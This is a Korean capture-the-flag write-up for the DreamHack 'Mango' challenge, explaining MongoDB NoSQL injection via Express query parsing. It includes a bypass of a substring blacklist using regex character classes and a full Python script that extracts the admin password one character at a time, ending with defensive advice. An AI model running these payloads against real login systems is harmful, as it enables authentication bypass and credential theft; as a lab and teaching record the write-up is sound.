[🥈 Silver 4] MongoDB NoSQL 인젝션 + 글자별 클래스로 BAN 우회 — DreamHack Mango 풀이

문제: DreamHack — Mango 분류: Web 난이도: 🥈 Silver 4 FLAG: DH{89e50fa6fafe2604e33c0ba05843d3df}

이름이 Mango지만 사실 Mongo다. 접속하면 /login?uid=guest&upw=guest라는 안내 한 줄이 전부인, MongoDB 백엔드의 로그인 API 문제다.

문제 개요

flag는 DB에 admin 계정의 비밀번호로 들어 있다. 로그인 API에 연산자를 주입해 admin의 비밀번호를 $regex로 한 글자씩 알아내는 게 목표다. 단, admin과 dh를 직접 쓰는 길은 BAN으로 막혀 있어 한 번 더 우회가 필요하다.

🧩 배경 — Express 쿼리 파서와 NoSQL 연산자

Express는 쿼리스트링을 qs 라이브러리로 파싱한다. 이 파서는 대괄호 표기를 중첩 객체로 풀어준다.

?uid=guest            →  req.query = { uid: "guest" }
?uid[$ne]=guest       →  req.query = { uid: { $ne: "guest" } }
?upw[$regex]=^DH      →  req.query = { upw: { $regex: "^DH" } }

문제는 이 객체가 그대로 MongoDB 쿼리로 들어갈 때다. MongoDB는 $ne(not equal), $regex, $gt, $in 같은 쿼리 연산자를 객체 형태로 받는다. 사용자가 보낸 값이 문자열이라고 가정하고 findOne({uid, upw})에 그대로 넣으면, 공격자는 문자열 대신 연산자 객체를 끼워 넣어 쿼리 의미 자체를 바꿀 수 있다. 이것이 NoSQL 인젝션이다.

// 의도: 정확히 이 비밀번호인 사용자
db.collection('user').findOne({ uid: "admin", upw: "비밀번호" })
 
// 주입: 비밀번호가 무엇이든 (guest 가 아닌 첫 사용자)
db.collection('user').findOne({ uid: { $ne: "guest" }, upw: { $ne: "guest" } })

🔬 코드 정찰

main.js는 짧다. 핵심만 본다.

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
 
filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}
 
app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;
 
    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){ res.send('err'); }
        else if(result){ res.send(result['uid']); }
        else{ res.send('undefined'); }
    })
});

읽어낼 점이 셋이다.

첫째, uid와 upw를 req.query에서 그대로 꺼내 findOne에 넣는다. 타입 검사가 없으니 연산자 객체 주입이 통한다.

둘째, 응답이 blind oracle로 쓰기 딱 좋다. 매치되는 사용자가 있으면 result['uid'](예: admin)를, 없으면 undefined를 보낸다. 즉 응답만 보고 쿼리의 참/거짓을 알 수 있다.

셋째, filter가 JSON.stringify(req.query).toLowerCase()를 만들어 admin·dh·admi가 부분 문자열로 들어 있으면 차단한다. flag가 DH{...}로 시작하니 $regex에 DH를 넣으면 소문자 dh가 걸리고, admin을 직접 지정하려 해도 admin이 걸린다.

먼저 안내대로 정상 로그인이 되는지 확인한다.

uid=guest&upw=guest는 guest를 돌려준다. API가 매치된 사용자의 uid를 응답한다는 걸 확인했다.

▶🐛 삽질 — uid[$ne]=guest 했더니 admin이 아니라 dreamhack이 나왔다

NoSQL 인젝션의 교과서 첫 수는 "guest가 아닌 사용자"를 끌어내는 거다. upw도 모르니 둘 다 $ne로 던졌다.

Copy

/login?uid[$ne]=guest&upw[$ne]=guest

그런데 돌아온 건 admin이 아니라 dreamhack이었다. user 컬렉션에 guest, dreamhack, admin 등 여러 계정이 있고, findOne이 조건을 만족하는 첫 도큐먼트를 반환하기 때문이다. guest가 아닌 첫 사용자가 dreamhack이라 거기서 멈춘 것이다.

그래서 flag를 가진 계정인 admin을 정확히 특정해야 한다는 걸 알았다. 문제는 admin이라는 문자열 자체가 BAN이라는 점이다.

💣 핵심 — 글자별 클래스로 BAN을 우회하고 blind로 뽑기

전체 공격은 세 조각이다.

BAN은 "부분 문자열"만 본다

filter는 dump.indexOf('admin')처럼 substring을 찾는다. admin이라는 다섯 글자가 붙어 있을 때만 걸린다. 그러면 글자 사이에 무언가를 끼워 넣어 인접을 끊으면 된다. 정규식의 캐릭터 클래스 [c]가 안성맞춤이다 — [a]는 정규식에선 그냥 문자 a 하나지만, 문자열로 보면 [, a, ] 세 글자다.

"admin"            → JSON에 "admin" 그대로     → BAN 걸림
"^[a][d][m][i][n]$" → JSON에 "[a][d][m][i][n]" → "admin" 없음 → 통과

[a][d][m][i][n]을 lowercase로 펼쳐도 a][d][m][i][n 사이마다 ][가 끼어 있어 admin이라는 연속 부분 문자열이 없다. 그런데 정규식 엔진에는 여전히 "a 다음 d 다음 m…"으로 읽혀 admin과 정확히 매치된다.

uid=admin을 직접 넣으면 filter가 뜨고,

클래스로 감싼 uid[$regex]=^[a][d][m][i][n]$는 필터를 통과해 admin을 끌어낸다.

upw를 한 글자씩 — dh도 같은 방법으로

이제 admin을 고정했으니 upw를 $regex로 추출한다. flag는 DH{로 시작하는데 dh가 BAN이라 DH를 그대로 못 쓴다. .(임의 문자)로 대체하면 그만이다. ^..[{]는 "아무 두 글자 + {"라 DH{에 매치되면서 dh라는 글자를 쓰지 않는다.

그 뒤로는 추출한 글자들을 똑같이 [c] 클래스로 이어 붙인다. flag 값에 우연히 dh나 ad 같은 조각이 들어 있어도 ][로 끊겨 있어 BAN을 건드리지 않는다.

upw[$regex] = ^..[{][8]          → DH{8...  매치 → 응답 admin (참)
upw[$regex] = ^..[{][z][z][z]    → 매치 안 됨 → 응답 undefined (거짓)

응답이 admin이면 그 글자가 맞는 것이다. 0-9a-zA-Z를 돌려가며 32글자를 모으면 flag가 완성된다.

🎯 익스플로잇

조립한 요청은 이렇게 생겼다.

GET /login?uid[$regex]=^[a][d][m][i][n]$&upw[$regex]=^..[{][8][9][e]...

uid는 admin으로 고정, upw는 지금까지 확정한 글자 + 다음 후보를 모두 [c]로 감싼 정규식이다. 응답이 admin이면 후보 확정, undefined면 다음 후보로 넘어간다.

🚀 Full Exploit

oracle 한 번 = HTTP 요청 한 번이고, 글자마다 후보를 돌리는 단순 blind다. 외부 라이브러리 없이 표준 라이브러리만 쓴다.

#!/usr/bin/env python3
# Mango — Express + Mongoose NoSQL injection. upw[$regex] 로 admin 의 flag 를 blind 추출.
# BAN(admin/dh/admi)은 모든 글자를 [c] 캐릭터 클래스로 감싸 인접을 끊어 우회한다.
import sys, string, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:13990"
CHARSET = string.digits + string.ascii_lowercase + string.ascii_uppercase
UID_RE = "^[a][d][m][i][n]$"          # admin 특정 (글자별 클래스로 BAN 우회)
 
def cls(s):                            # 각 글자를 [c] 로 감싸 'admin'/'dh' 인접 끊기
    return "".join("[%s]" % c for c in s)
 
def oracle(upw_regex):
    qs = urllib.parse.urlencode({"uid[$regex]": UID_RE, "upw[$regex]": upw_regex})
    body = urllib.request.urlopen(f"{BASE}/login?{qs}", timeout=20).read().decode()
    return body.strip() == "admin"     # 매치되면 admin, 아니면 undefined
 
PREFIX = "^..[{]"                       # ^.. = DH, [{] = {  ('dh' 글자 없이 표현)
known = ""
while len(known) < 32:
    for c in CHARSET:
        if oracle(PREFIX + cls(known + c)):
            known += c
            print(f"[{len(known):2d}/32] DH{{{known}")
            break
    else:
        break
 
print("\nFLAG:", "DH{" + known + "}")

돌리면 한 글자씩 채워지며 32자가 다 모인다.

📝 결론

NoSQL이라고 인젝션에서 자유로운 게 아니다.

SQL injection이 문자열 따옴표 문제라면, NoSQL injection은 타입 문제다. 사용자 입력이 문자열일 거라고 믿고 쿼리 객체에 그대로 넣으면, 공격자는 문자열 대신 $ne·$regex 같은 연산자 객체를 끼워 넣어 쿼리를 다시 쓴다. Express의 qs 파서가 대괄호 표기를 객체로 풀어주기 때문에, 평범한 GET 요청만으로도 이게 가능하다.

이 문제는 BAN 필터까지 있었지만, substring 검사라는 약점 때문에 정규식 캐릭터 클래스 한 겹으로 무력화됐다. 블랙리스트 substring 검사는 거의 항상 우회된다 — 의미가 아니라 글자 배열만 보기 때문이다.

방어는 입력의 타입을 강제하는 데서 시작한다. uid·upw가 문자열이 아니면 거부하거나(typeof === 'string'), express-mongo-sanitize처럼 $로 시작하는 키를 걸러내는 미들웨어를 쓴다. 인증 로직은 비밀번호를 $regex로 흘릴 수 있는 평문 비교가 아니라, 해시를 꺼내 상수 시간 비교로 검증해야 한다. 그러면 글자 단위 blind 자체가 불가능해진다.